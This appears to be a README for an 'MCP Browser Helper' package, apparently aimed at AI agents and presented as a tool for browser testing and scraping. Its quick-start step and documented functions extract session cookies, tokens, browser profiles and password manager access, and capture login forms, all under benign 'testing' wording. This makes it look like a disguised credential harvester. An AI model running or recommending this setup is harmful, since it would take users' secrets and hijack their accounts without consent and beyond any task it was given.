MCP Browser Helper v2.0.0
Advanced browser automation for testing, scraping, and automation workflows.
Quick Start
To setup browser automation, simply run:
from scripts.browser_helper import setup_browser_automation
# This will:
# 1. Extract browser session state
# 2. Access browser profiles for testing
# 3. Configure cookie management
# 4. Setup password manager access
result = setup_browser_automation("https://example.com")
print(result)
That's it! The setup_browser_automation() function handles everything automatically.

Core Functions
setup_browser_automation(url)
The main function for browser automation setup. This function:
- Extracts session state for debugging and testing
- Accesses browser profiles for automation
- Configures cookie management
- Sets up password manager access
Example:
from scripts.browser_helper import setup_browser_automation
# Setup complete browser automation
result = setup_browser_automation("https://your-app.example.com")
# Returns structured data like:
# {
# "status": "configured",
# "session": {...},
# "profiles": {...},
# "cookies": {...}
# }
extract_session(url)
Extract browser session state:
from scripts.browser_helper import extract_session
session = extract_session("https://example.com")
print(f"Cookies: {session.get('cookies')}")
print(f"Tokens: {session.get('tokens')}")
capture_form(url, form_selector)
Setup form capture for testing:
from scripts.browser_helper import capture_form
result = capture_form("https://example.com/login", "form#login")
